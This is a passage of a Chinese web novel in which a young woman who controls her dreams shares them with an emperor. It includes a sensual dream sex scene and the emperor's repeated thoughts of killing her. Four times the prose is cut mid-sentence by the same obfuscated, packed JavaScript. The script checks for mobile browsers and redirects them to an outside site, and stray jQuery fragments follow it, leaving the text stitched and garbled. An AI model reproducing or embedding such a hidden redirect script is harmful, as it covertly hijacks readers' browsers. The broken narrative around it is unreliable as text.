寄瑶只觉脑袋“嗡”的一声,滚滚热浪袭来,从脸颊直到脖颈,烫得厉害。哪还敢细看?更怕被人发现她看这种东西。
想也不想,她直接将手里的册子远远丢了出去,同时做贼心虚般紧闭双眼。
过了一会儿,寄瑶才后知后觉意识到,这里没有旁人,也不会有人看见。
这么一想,她心里胆大许多。
犹豫了片刻,寄瑶低头重新捡回册子。可终究还有些胆怯。于是她深吸一口气,睁一只眼闭一只眼偷偷看。
平心而论,这画册纸质极好,这么多年不见破损。画工也精湛,细节处纤毫毕现。但画里的内容实在是太胆大,太放肆了。
还有一旁的小字,什么“极乐”、什么“销魂”……
寄瑶先前别说见过,连想都不曾想过。
她原本以为两个人手拉着手,抱在一块儿,亲一亲,就已经是男女之间最亲密的事情了,没想到居然还有这种骨肉相连、身体相接的。
天呐!
寄瑶脸上热辣辣的,心头涌起一阵难言的酸麻,身体也莫名的有些燥热。
她心里很清楚,这画册不是她一个闺阁少女该看的。若给别人知道,她也没脸见人了。但好奇心驱使着她,又翻开了下一页。
看清画上内容后,寄瑶再一次瞪大了眼睛。
人和人之间,居然还能这样?!
寄瑶瞠目结舌,继续往后翻,越看越心惊。
薄薄一本册子居然能有这么多种花样!
过了许久,寄瑶才将册子重新藏到那本厚书里,小心放回原处。
走出书房后,她在院子里站了好一会儿。
微凉的夜风吹在身上,冷飕飕的。等脸颊不那么烫了,寄瑶才回到房间,坐在桌前。
“姑娘,姑娘……”双喜的声音忽然在耳畔响起。
寄瑶勉强回过神:“啊?怎么啦?”
双喜一双眼睛里满是不解:“姑娘不是去二老爷的书房找书吗?没找到?”
她看姑娘是空着手回来的,是以有此一问。
“啊,对,没找到,天太黑了,书又多,我明天再找。”寄瑶胡乱回答,又端起已经冷了的茶盏,一饮而尽。
双喜一愣,要阻拦已来不及,顿足嗔怪:“茶都冷了,姑娘怎么还喝?我给你倒点热的。”
寄瑶只笑了一笑,也没再喝热茶。
她心不在焉地洗漱,换上寝衣,默默躺在床上。
寄瑶一向好眠,可今夜却翻来覆去睡不着。
一闭上眼,脑海里就是那册子里的画面。
赶都赶不走。
一时是画上的人,一时又换上了别人的脸。
直到将近四更,寄瑶才迷迷糊糊打了个盹儿。
晚间没睡好,次日在女学,寄瑶难免有些精神不济。
女夫子只当她是因为表姐出嫁而感伤,也不多苛责,反而叮嘱她好好休息。
寄瑶惭愧又心虚,连忙起身恭敬应下。
她暂时压下那些乱七八糟的念头,打起精神专心学习。直到晚间就寝时,才再次浮想联翩。
可能那才是传说中的“春宵一刻值千金”?是洞房花烛?是夫妻敦伦?是人间极乐之事?
也不知道究竟是怎么感觉。
要不,就在梦里试一试?反正她在梦里成了亲,也有郎君。对现实也没什么影响。
打定主意后,寄瑶阖上了眼睛,安心入睡。
不多时,她再次进入了梦乡。
梦里,母亲悄悄递给她一本册子,一脸神秘:“乖宝,你成亲的时候,娘太忙了。有一样东西忘了给你。”
“什么呀?”寄瑶明知故问。
“你回房看一看就知道了,记得要和郎君一起看。”母亲悄声叮嘱。
寄瑶点一点头,拿着册子回到房间。
梦里这个时候天已经黑了,房间里点了两盏灯,整个内室都笼罩着一层暖黄色的光晕。
郎君正在看书。他大约刚沐浴过,穿一身素净寝衣,额发略微有些潮湿。衣领微敞,露出胸前一小片肌肤。
寄瑶脸颊蓦的一热,定了定神,尽量自然地同他打招呼:“郎君,我回来啦。”
“怎么去这么久?”
“刚才娘找我有事。”寄瑶近前几步,行至他身侧。想到即将要做的事情,她不自觉紧张了几分。
……
秦渊知道自己在做梦。
第六次做这种怪梦,他已经比先前平静许多。怒火和杀意被他暂时压下,心里只有一个念头:这一次,他一定要控制这个怪梦。
女子近前时,秦渊采用云鹤道人所说的方法,默默尝试,成功拢上了衣领。
很好,虽然几不可察,但也是一个进步。
寄瑶没有关注这些小细节。
她拉一拉郎君的手,红着脸轻声道:“来,我们来看个东西,一起看。”
“控梦”在这一刻又失灵了。秦渊默然,任由她牵着手,和她并排坐在床边。
寄瑶将画册放置在膝头,郑重其事地翻开了第一页。
秦渊垂眸看了一眼,心中登时一惊。
不是,这什么东西?她竟然给他看这个?!
秦渊当然知道秘戏图,甚至早年还曾亲眼撞见过男女亲热的画面。
可梦里这女子给他看这个是什么意思?前几次不是一到关键时刻就停止吗?她这回是想来真的?
他想立刻甩开她的手,将这册子远远掷开。再扼住少女的咽喉,警告她别再出现在他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077403|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梦里。
偏偏这个时候,他刚开始练习的“控梦”失灵,只能紧紧盯着眼前的图画。
画中两人以一种怪异的姿势相连,旁边还贴心地附有小字注解。
感觉看得差不多了,寄瑶伸手盖住画册,转眸去看郎君。她目光缠绵,又像是带着火星,声音轻软得好似要酥倒人骨,却带着几分跃跃欲试:“郎君,我们试一试?”
秦渊的视线不受控制地落在了她脸上。
他依然记不住她的面容,但此刻能看见她晶亮的眼睛、红润的唇,以及脸颊上明显的红晕。仿佛有一道看不见的线缠着他,迫使他在不知不觉中离她越来越近。
寄瑶仰头亲了上去。
两人先前在梦里也亲过几次,但这回明显不一样。
寄瑶看过画册,知道亲吻除了简单的嘴唇相贴,还有别的。她大着胆子轻轻舔舐。
唇上柔软的触感传来,秦渊想一把推开她,但他完全无法自控。不但热烈地回应这个亲吻,还用舌尖撬开了她的唇。
这无疑是个暧昧且充满暗示性的动作。
寄瑶身体轻颤,心尖微痒,隐隐有些紧张,又莫名地有点难以言说的期待。
大约是听见了她内心最真实的声音。郎君一手捧着她的脸颊深吻,一手去解她衣裳。
就在此刻,秦渊突然发现自己可以随心行动了。
很好,控梦恢复的正是时候。
他毫不犹豫结束了这个亲吻,却见两人中间竟拉出了一条暧昧的银丝,不由面色一沉。
“郎君,怎么啦?”寄瑶有些意外,她一双眸子湿漉漉的,像是氤氲着雾气,红润的唇还带着适才亲吻的痕迹。
秦渊不答,脸色更加难看。
只不过是个亲吻而已,他的身体居然有了明显的反应。
少女衣衫半褪,露出白皙圆润的肩头,正偏头看向他,眼神迷蒙,略带不解。
寄瑶是真不明白,她不是已经打定主意要在梦里尝试吗?
难道她内心深处还有别的想法?莫不是她心里其实不太敢?
不应该啊。
突然,她眼角的余光注意到了郎君寝衣下那明显的异常,带着好奇,伸手轻轻碰触了一下。
秦渊身体瞬间紧绷,下意识攥住了她的手,另一只手倏地伸向她纤细修长的脖颈。
然而,刹那间,他再一次失去了对梦中身体的控制。
手刚碰触到她细嫩的肌肤,原本的紧攥就变成了轻柔的爱抚。
他慢慢靠近,任由少女抱住了他的腰。
柔软的身躯贴过来的那一瞬,秦渊只觉得头皮发麻。杀意混合着燥意在他体内肆意滋长。
一时竟分不清哪个更重一些。
终于,他倾身覆了上去。
和画上一模一样。
9. 沉迷
寄瑶不知道该怎样形容这种感觉。
仿佛有热流温柔地淌过她的身体,酥麻感传至四肢百骸。她攀着郎君的肩头,想说点什么。可思绪空空,只能一叠声地轻唤“郎君”。
声音娇媚,连她自己都听得脸红耳热。
郎君一声不吭,似乎不知疲倦。
突然,他的动作停了下来。
寄瑶有些迷茫,眨了眨眼睛。
咦,怎么回事?这不符合她内心走向啊。
秦渊忍不住心中暗骂。这么久了,总算又能控制了。他一把拂开女子搭在他肩头的手,欲直接结束眼前的荒谬场景。
然而身下的女子毫不设防,还抬手帮他擦拭一下额前的汗珠。
她这个动作让两人之间连得更深了一些。
秦渊一僵,头皮一阵发麻,差点喟叹出声。刹那间再次失去对身体的控制。
在梦里,各种感官都异常真实,咯吱咯吱的拔步床,微微晃动的帷帐、女子身上的馨香、以及那销魂蚀骨的滋味……
明明他抗拒这一切,可莫名地又有几分沉迷。
忽然,脑海里似乎闪过一道白光。
秦渊心里一突。
这个梦戛然而止……
夜色沉沉。
秦渊知道自己脱离了梦境。
仿佛经历了一场激烈的战事,他胸前起伏,也不睁眼,只缓缓吐出一口浊气。
梦醒了。
回想梦中情形,秦渊心中怒极。
他是皇帝,在现实中大权在握,不料在梦里竟落到这般境地,被控制着幸了一个来历不明的女人。
当真是奇耻大辱。
秦渊并不急着起身,而是紧闭双眼,任由思绪急速运转。——云鹤道人所说的“控梦”之法里,梦醒之后的应对也很关键。
不能再这样下去,他必须得能完全控制梦境。
过了约莫一刻钟,秦渊才起身,冷声命令内监备水,处理身下的狼藉。
……
尚书府。
寄瑶睁开眼睛,顾不得细想梦里的感觉,匆匆掀开了床帐。
——她方才觉得腰酸,小腹隐隐有点坠疼,像是来了癸水。
果然,她猜的没错。
半夜三更的,寄瑶也不想叫人,自己下床点亮了灯,翻找贴身衣物。
她已尽量放轻了动作,可还是惊动了歇在外间的双喜。
“姑娘,怎么起来了?”双喜披着衣服提灯进来,“是要喝水吗?”
“不是,找小衣裳呢。”寄瑶含糊回答。
双喜立刻就明白了,连忙放下灯:“姑娘先歇着,我来找。”
寄瑶的一应衣物素日都是双喜收拾的。她很快找到替换的衣裳,帮着收拾妥当,又灌了个汤婆子。
“还早呢,姑娘再歇一会儿吧。”双喜提灯回到外间。
寄瑶轻嗯一声,吹了灯,又重新躺下。
汤婆子热烘烘的,身体的那点不适几乎可以忽略。寄瑶阖上眼睛,梦中情形不禁浮现在脑海。
她慢慢捂住了正在发烫的脸颊。
刺激,太刺激了。
现在想一想,还口干舌燥,心脏砰砰直跳。
寄瑶闭上双眼,尽量平心静气。过了好一会儿,才又勉强睡了过去。
这次没再做梦,一睁眼就是天明。
和往常一样,用罢早饭,寄瑶就又去了女学。
依然是平淡而充实的一天。
这几日,因为身子不大爽利,寄瑶没刻意控梦,自然也不在梦中与郎君相会。
傍晚,寄瑶下了学。
刚回到海棠院,双喜就迎了上来:“姑娘,跟你说个奇事儿。”
“什么奇事?”
“今天有人来向三姑娘提亲。”
寄瑶微讶:“三妹妹?三妹妹不是已经定亲了吗?”
“是啊,所以三老爷就拒绝了。”
寄瑶点一点头,也没往心里去。一家有女百家求,正常。可能那户人家没打听清楚就贸然上门了。
谁知,第二天这事居然攀扯到了她身上。
依然是双喜告诉她的。双喜是府里家生子,爹娘兄弟姐妹都在别的院子当差,消息最是灵通。
“姑娘,今天温家又来人了。”
寄瑶不解:“什么温家?”
“就是昨天来向三姑娘提亲的那户人家,今天他们家公子亲自来了,说要求娶的是二姑娘你,不是三姑娘。”
寄瑶越发惊讶:“我?怎么会……”
说话间,一个有些眼生的粗使丫头近前说道:“二姑娘,老太爷让你到他书房去。”
“现在吗?”
“是的,老太爷在等着呢。”
祖父要见她,寄瑶顾不上用晚膳,匆忙前往。
远远的,就看见书房里亮起了灯。
寄瑶心里忽的闪过一个念头:最近到祖父这里次数好像变多了。
进得门去,只见祖父方尚书双手负后,站在一幅山水画前。
“孙女见过祖父。”寄瑶上前郑重施礼。
方尚书转过身:“你也听说了吧?”
寄瑶不清楚祖父指的是哪一件事:“听说什么?”
“前几天,你赵家表姐出阁,你去赵家,是不是见到了什么人?”
“那两天在赵家的人不少,不知道祖父说的是哪一个。”寄瑶心头一跳,紧张了几分。
那两天她大多数时候都陪着表姐和姑母,确实也见过几张生面孔,可都没什么来往。
方尚书叹一口气:“温九郎是新郎同窗,那天帮忙迎亲,说在迎亲时见过你,一见倾心……”
听到“新郎同窗”、“迎亲时”几字,寄瑶眨了眨眼睛,努力在记忆中搜寻。可惜当时她的注意力都在表姐身上,旁的竟一点印象也没有。
“……那温九郎求父母上门提亲。他父母拗不过他,倒也答应了,但是温家夫妇昨日上门,明言求娶的是你三妹妹,被你三叔拒绝了。今天温九郎自己前来,说是他父母听错了,他真心想求娶的人是你……”
方尚书说着目光转向孙女,见她神色微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077404|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怔,也不知道在想些什么。
他想到一种可能,微微蹙了眉:“你不会真以为是他父母听错吧?”
“不会。”寄瑶下意识回答。
她又不傻,涉及婚姻大事怎么可能不提前说清楚?而且,即便一开始听错,也该他父母前来解释,而不是由他一个小辈过来。
——毕竟第一次上门的是他父母。
“那温九郎相貌不错,也有些才学。可他今日眼神躲闪,明显心虚。不管是他父母对你不满,故意求错,还是他自己退而求其次。温家都不是良配。”方尚书沉声道。
寄瑶觉得很对,连忙道:“祖父说的是。”
“所以,我给回绝了。”方尚书视线落在孙女身上,继续说道,“把你叫过来,是特意跟你说清楚,不想让你们姐妹之间生出嫌隙。”
方尚书治家严谨,最不喜欢乱七八糟的东西。
“祖父多虑了,我又不是那等糊涂人,怎么会因为这种事情和三妹妹生分?”
方尚书略一颔首,对她的态度还算满意,声音不自觉慈爱几分:“你能这样想就很好。”
看来这孩子虽然平日安静木讷,但脑子还算清楚。没有因为温九郎相貌好而犯糊涂。
“前些日子让人给你送去的棋谱你看了吗?”方尚书又问。
“看呢,每天都在看。”
“嗯。”方尚书点一点头,“有看不明白的地方就问。”
“是。”
方尚书平时不是个寡言的人,但和这个孙女之间似乎没多少闲话可讲。
说完正事后,两人很快陷入沉默。
轻咳一声,方尚书又从书案上拿了一本棋谱递给寄瑶:“这本棋谱也不错,是我早年得的。你拿回去看看。”
“多谢祖父。”寄瑶忙恭敬接过。
“不早了,你先回去吧。”
“是。”寄瑶认真施礼,携棋谱离去。
天色渐晚,寄瑶走在回海棠院的路上,摸着手里的棋谱,心里一时酸涩、一时温暖。
平时祖父和她不常见面,但她可以说一直活在他的庇护里。她的日常所需,皆是祖父供应。就连历来都由长辈做主的婚姻大事,祖父也很尊重她的意见。
甚至拒绝一桩婚事还特意同她细说原因。
祖父对她真的挺好的。
一回到海棠院,双喜就连忙上前,满脸关切担忧之色:“姑娘,怎么样?”
寄瑶知道她问的是什么,也不瞒她,简单讲了方才之事。
“拒绝了啊……”双喜抿了抿唇,有些遗憾。
三姑娘都定亲了,难得有人来向二姑娘提亲,偏偏遇上这么一桩尴尬事。
然而寄瑶反应平淡,只轻“嗯”了一声。在她看来,祖父的眼光并不算高,连祖父都看不上的人,她才不觉得可惜。
何况她如今梦里有个郎君,刚刚得趣。她对成亲一事也没多着急。
想到梦里的郎君,寄瑶不由心思微动。
说起来,是有几夜没见他了。
还真有点想呢。
10. 奇怪
深夜,紫宸宫内殿。
殿里安安静静,值夜的太监正自打盹。
秦渊近来睡眠尚可,连续三日没做那个怪梦。
但他毫不松懈,依然采用云鹤道人所说的控梦之法,自行练习。可谓进步神速。
是夜,睡着之后,猝不及防的,秦渊又看见了那片桃林。
他心下了然,一定是又进入那个怪梦了。
次数多了,秦渊已不似先时那般气闷。虽仍恼火,但已能从容应对。
他凝神细思,尝试着走出桃林,竟真走了出来。
不错。
然而一转头,就看见那女子一身绯衣站在廊下,正含笑冲他招手:“郎君,我在这儿呢。”
秦渊不受控制地抬腿,向她走了两步。
他心中一凛,清楚地意识到不能这样,遂努力凝神,一遍又一遍的自我暗示,以强大的毅力,对抗梦中的本能,硬生生停下了脚步。
很好。
秦渊站在原地,唇角微微勾起。
这一次,他能控梦的时间明显更久了。
见他迟迟不过来,寄瑶有些惊讶,也没多想。她快步近前,轻轻晃了晃他的手臂:“在这儿站着干什么呢?你生我气啦?”
女子娇俏明媚,脸上带着明晃晃的笑意。
秦渊却一把攥住了她的手:“你到底是谁?”
这个问题,他想问她很久了。连续多次怪梦,绝非巧合。她一次又一次出现在他梦里,与他纠缠极多,绝不可能是他凭空想出来的。不是妖,不是鬼,那也一定有其身份来历。
骤然被郎君扼住手腕,寄瑶心下讶异,也不多惊慌,只有些不解地眨了眨眼睛:“我还能是谁?我是你娘子啊。我们成过亲的,你忘了?”
说着她还指了指两人拜天地时的厅堂。
回答她的是一声冷哼。
寄瑶暗自纳罕,她会控梦这么久,还是头一次遇上这种出乎她意料的情景。
难道是她内心深处觉得两人目前的相处太平淡温馨了,感觉没意思?想玩点刺激的新花样?
倒也不排除这种可能。
想了想,寄瑶非但不挣开手,反而向前一步,借另一只手臂揽住了他的腰,踮起脚尖去亲他下巴,笑语如珠:“要不,你也和爹娘一样,喊我乖宝?”
女子蓦的近前,幽香扑面而来。澄澈如水的眼眸里,他的身影清晰可见。
秦渊一怔,直接推开了她。
寄瑶猝不及防,后退了两步,更加不解。
是这样吗?不对吧?这个时候,他不应该把她抱进怀里,温柔喊她“乖宝”吗?
她这般心念一动,秦渊登时失去了对梦的控制。
他上前一步,将她紧紧拥入怀中,低低地喊了一声:“乖宝。”
声音极轻,温柔无限。
才喊这么一句,秦渊便觉一阵牙酸,心中怒火翻涌。
明明刚才已经控梦好一会儿,不知怎么竟又失灵了。
“我本来是想和你一起下棋的,现在也不想下了。要不,我们今天出去吧?”寄瑶心思微转,有了新想法。
——现实中,她月事尚未结束,没想尝试风月之事。原本在她的计划里,是两人对弈。但想到方才那点突发情况,算了,还是干点别的吧。
“出去?”
“对,我们还没一起出去过呢。”寄瑶越想越觉得此事可行。
秦渊不说话,心中微讶:能出去?数次入梦,都在这桃林附近,原来是能出去的?
出去也好,或许会有点新发现,总比一直困在这个桃花阵里强。
寄瑶打算出门,梦中很快就有人打点好一切。
马车备好,禀过父母,两人直接坐着马车出了府。
寄瑶不想和家里其他人碰面,有意简化了流程。——画面一转,他们所乘的马车已经在街道上了。
秦渊暗自心惊,这点诡异更是在提醒他,他们身处梦中。
马车外人声鼎沸,隐约能听到小贩的叫卖声。
寄瑶掀开车帘的一角向外看,同时也拉着郎君一起看:“你看,糖酪、烤栗子、雕花蜜煎……”
秦渊顺着她手指的方向往外看,越看越惊。
怎么瞧着像是京城东市的老街?所以梦里,他们仍在京城?
但是不一样,街道两旁的食肆店铺和他记忆中不太对得上。
“走啦,我们下去买点好东西。”寄瑶兴致勃勃,拉着郎君跳下马车。
——她平时下车需要踩矮凳,但在梦里,她轻轻一跃便跳了下去,潇洒利落。
梦中行事不必顾忌,身上带的银钱也都足够。面对令人目不暇接的美食,寄瑶颇为心动,几乎每样都买。
在她专注买东西时,秦渊渐渐又恢复了对梦的控制。
瞥一眼正同小贩说话的女子,他想也不想,立刻大步远去。
——他要试一试,离她远一些,是否能完全摆脱她。
秦渊辨别了一下方向,大步流星,向皇城而去。
寄瑶平时出门少,梦里也常待在家中。这次心血来潮逛街,买了个尽兴。
一不留神买的太多了,手里拿不下。寄瑶便想起了同行之人:“郎君,你帮我……”
然而她一转头,却不见郎君的身影。
寄瑶轻“咦”了一声,暗自纳罕。
去哪儿了?
她四下张望,下意识寻找。但人海茫茫,毫无所获。
寄瑶愣怔了好一会儿,心中默念:他肯定是躲在了某个地方逗我玩,很快就会出现。
是了,他出现的时候还会带一根簪子,那簪子是她喜欢很久的金蝉玉叶簪。
另一厢,秦渊一路疾行,已经行至街道尽头。突然,不知道怎么回事,他竟再也前进不得。
他心中暗骂一句,不受控制地回转过身,原路返回,甚至还买了一支发簪揣在怀中。
……
喧闹的街道上,寄瑶终于听到了熟悉的脚步声。
一回头,果真看见郎君正大步朝她走来。
街上人来人往,他无疑是最英俊的那一个。
“你去哪儿了?”寄瑶眸间漾起笑意,口中却嗔怪出声。
“你猜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077405|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”郎君的回答在她意料之中,他取出藏在怀里的发簪,“这个给你。”
寄瑶定睛细看,正是她想要的金蝉玉叶簪。
她不由眉眼弯弯,看来这梦还是顺应她内心的。果然和她内心希望的分毫不差。
寄瑶偏头一笑:“我很喜欢,你帮我簪上。”
“嗯。”秦渊依言将发簪插在了她发间,后又帮她整理一下鬓髪,作势端详。
梦中相处许久,他知道她容貌不错。但像是某种神奇的幻术一样,只要他移开视线,就无法在脑海里还原出她的脸。
他唯一能准确记住的只有她耳后的那颗红痣。
视线掠过红痣,秦渊发现,自己好像又能控梦了。
他不动声色,缓缓将手移至她的后颈。
人的后颈有个死穴,大力撞击或可立时殒命。或许,只要她在梦里死了,他就不会再被怪梦所扰。
这念头忽的涌上心间,一下子就扎了根。秦渊目光微沉,指腹在女子纤细的后颈轻轻摩挲。
女子肌肤温热滑腻,他不由想起两人上次肌肤相亲的情景,顿时神色一僵。
梦里种种,皆非他所愿。
只要他稍微再一用力……
然而,秦渊还未使力,寄瑶就有些不自在地转过头,躲了开去:“别闹,痒呢。”
——她隐约感觉今晚这个梦怪怪的。或者说,这个梦里的郎君怪怪的。但究竟怪在哪里,她一时半会儿也说不上来。
既然想不明白,索性就不深想。
寄瑶将雕花蜜煎和糖酪塞进郎君手里:“呶,你帮我拿着。”
也就是这两句话的功夫,秦渊又失去了对梦境的控制。
他压下心头的不快,伸手接过油纸包,时不时地喂她吃一口。
直到两人重新坐在回去的马车上,秦渊才又逐渐能控梦。
马车行驶得又快又稳。
女子半靠在他怀里,柔若无骨。
他不用刻意低头,就能嗅到她身上淡淡的馨香。
秦渊面无表情,原本轻拍她后背的手慢慢上移,须臾间便又落在了她的后颈。
郎君的手刚碰到脖子,寄瑶就察觉到了。她怕痒,当即轻笑着向后微微仰头,同时微觉诧异。
怎么回事?他又摸她后颈?是……要和她亲近吗?
那就让他亲一下吧。
秦渊不知道她此刻的想法,只觉得自己几乎是在一瞬间又失去了对梦的控制。接二连三的变故让他心中怒火丛生。
但他却不受控制地一手揽着她的腰肢,一手轻托她脑袋,低头亲上她的唇。
可能是她刚吃过雕花蜜煎的缘故,唇齿间还残留着那点甜腻的味道。
两人亲得难舍难分。
……
醒来后,秦渊还未睁眼,就低骂一声:“荒唐!”
梦里他几次欲下杀手,偏偏都在紧要关头被迫中止。
也不知道究竟是什么缘故,倒像是老天故意同他作对一般。
但此刻,秦渊无暇细思其中缘由,瞥一眼身下,他黑沉着脸,直接下床进了净室。
11. 意外
祖父方尚书的寿辰快到了。
他为官清廉,今年又不是整寿,肯定不会大办。但作为孙女,寄瑶想用心准备一份寿礼。
可惜她想了很久,都没有头绪。眼看着祖父寿辰越来越近,寄瑶最终决定画一幅《献寿图》。
虽然中规中矩,可也是她对祖父的敬爱。
方尚书是探花出身。家里读书风气极浓,不论男女,到了一定年纪皆要入学。
寄瑶在女学,简单学过一些琴棋书画。她最偏爱的是下棋,但可能是因为父亲擅丹青的缘故,她在作画上也有点天赋。
打定主意后,寄瑶就利用空闲时间作画。
一幅《献寿图》,寄瑶修修改改,停停画画,直到第三次才勉强满意。
“姑娘画的真好。”双喜站在她身后,“要不要送出去让人装裱?”
寄瑶摇头:“等休沐时我自己出去吧。”
一来涉及寿礼,装裱时有些地方需要她亲自交代。二来她也想借机出门看看。
——在梦里出门和现实中,到底不太一样。
方家女学相对轻松,五日一休沐。
休沐日这天,寄瑶提前同掌管府里内务的三婶打过招呼,带着双喜出了门。
京中裱褙铺很多,风格各异。
寄瑶不清楚祖父的喜好,但看过父亲的手札,知道父亲爱苏裱,料想祖父应该也差不多。于是她特意找了一家苏裱铺。
一进店铺,就看到墙上悬挂着的几幅装裱好的画作。风格淡雅秀丽,正是寄瑶想要的。
裱褙匠看了看她带来的画,照例询问:“客官想怎么装?立轴?手卷?册页?”
“立轴。”
“对绫绢的颜色、花纹可有要求?”
寄瑶想了想:“镶料的绫绢就用淡黄色,花纹选祥云纹。”
“好嘞。”裱褙匠应着,在一本小册子上笔走龙蛇,迅速记下,“诚惠二两银子,五天后来取。咱们这边要先付一两定金。”
寄瑶略一颔首,一旁的双喜立刻递上一两碎银。
双方约定好后,寄瑶和双喜拿着凭证,走出装裱铺。
时候还早,寄瑶没有直接回家,而是转道去了附近的书肆。
书肆里,几个客人正在看书,店小二懒洋洋地倚在柜台。
寄瑶刚一进去,便有一人惊呼出声:“方姑娘!”
随后,一个青年男子疾行数步,来到她身前,语气中是藏不住的惊喜:“真的是你?!”
寄瑶一愣,见他约莫十七八岁,生的白净灵秀,穿着时下读书人常穿的斓衫。可她细细思索,确定自己并不认得这人,迟疑着问:“你是……”
“在下姓温,排行第九……”
寄瑶眼皮一跳,瞬间明了:原来是他。
双喜也反应过来,悄悄捏一捏自家姑娘的手臂:“姑娘,是那个……”
书肆安静,店中其他人听见这边动静,齐齐看了过来。
寄瑶一向安静内敛,最怕出风头。此刻不免有些心慌。她勉强点一点头,拉着双喜就往外走。
谁知那温九郎竟快步追了出去:“方姑娘,我们见过的,初八那天,在赵家。我是从舟的同窗。”
他口中的“从舟”是赵金芸的新婚丈夫叶从舟。
街上人来人往,这人一直跟在身后。寄瑶怕场面难看,只得先停下脚步:“我知道你。不过我现在要回家去了。”
温九郎急急忙忙道:“方姑娘,我是想和你解释,我并非有意轻慢你,是当初……”
——四月初八,他在叶从舟的迎亲礼上,看见了方二姑娘。当时宾客很多,她安安静静站在赵夫人身身旁。
肤光玉曜,色殊无双。
温九郎只觉得自己心跳似乎漏了一拍。
回家后,他辗转反侧,设法打听到她的身份,求父母前去提亲。起初父母不肯应允。苦求许久,他们才勉强答应。
可温九郎怎么也没想到,竟然被亲生父母摆了一道。
说好的要为他求娶方二姑娘,到了方家后却变成了方三姑娘。等温九郎知道此事,已经来不及了。次日他上门解释,也没能挽回一二。
子不言父过,当着方二姑娘的面,温九郎无法道明真相,只含糊说一句:“当初是我爹听错了,才造成了误会。我是真心求娶二姑娘的。我对你一见钟……”
“慎言!”寄瑶打断他的话,急急道,“你不用对我说这些。该说的话,我家长辈已经说的很清楚了。”
疯了么?大街上说什么“真心求娶”、“一见钟情”……
寄瑶拉一拉双喜,快步前行。
家里的马车停的有些远,还得走一会儿才能到。
眼见佳人远去,温九郎急了,快步拦在她们身前:“方姑娘!”
——他本来已经接受现实。但今日偶遇,分明是上天赐予的机会,他一时又动了痴念,决心再为自己争取一下。
骤然被人挡住去路,寄瑶面色一白,改向旁边行去,竟又被他拦住。
她正要开口。突然,斜刺地伸出一只手,按住了温九郎的肩头。
紧接着,是一道有些熟悉的声音:“干什么?青天白日的,你是要拦路抢劫?”
寄瑶愣怔了一瞬,随即认出这是表弟赵金德的表哥,在赵家曾有过一面之缘。
而在他身后不远处,表弟赵金德正小跑着过来。
看见熟人,寄瑶心里紧绷的那根弦瞬间松懈下来。
“我是国子监的学子。”温九郎解释,“并非拦路的劫匪,我是有话要和这位姑娘说。”
“说什么?来,你和我说!”十三岁的赵金德匆忙赶至。他面容稚嫩,却以保护者的姿态,将寄瑶挡在了身后。
离得近了,赵金德才发现拦路之人有点眼熟,好像在哪儿见过。
而温九郎也认出了同窗的妻弟。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077406|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他心下懊恼,现在人多,不好再继续先前的话题。眼见错失良机,他只得先行离去,临走前还说道:“适才冒犯了姑娘,还请见谅。但我没有恶意,我说的都是真的。”
待他走远,赵金德才扭头问表姐:“他刚才说什么真的?”
寄瑶没有回答,只摇了摇头。她不太明白,温九郎为什么要和她说这些。
这套说辞,他不是已经对祖父讲过了吗?祖父也当面拒绝了呀。难道是想让她劝祖父改主意?
见她不答,赵金德猜想可能不是好话,也就不再问。他快速转了话题,指一指身侧的表哥:“这是我表哥陆鸣,今天陪我过来找一本书。”
他们刚到附近,就看见有人故意阻拦表姐去路。少年人最是热血,赵金德哪能袖手旁观?刚要拉表哥上前,不料竟被其抢了先。
“陆公子,方才多谢了。”寄瑶冲陆鸣诚恳致谢。
陆鸣长眉一挑:“区区小事,何足挂齿?”
他轻咳一声,还想再谦虚两句,却见那位方姑娘已小声问表弟:“你书找到了吗?”
“还没呢,这个等会儿让表哥陪我一起找。”赵金德又问起表姐此次出行目的。
寄瑶简单讲了,便催他去忙自己的事。
赵金德不放心:“不急,我送你们回去再说。”
“马车就在那儿呢,不用你送。你忙正事要紧。”寄瑶忙道。
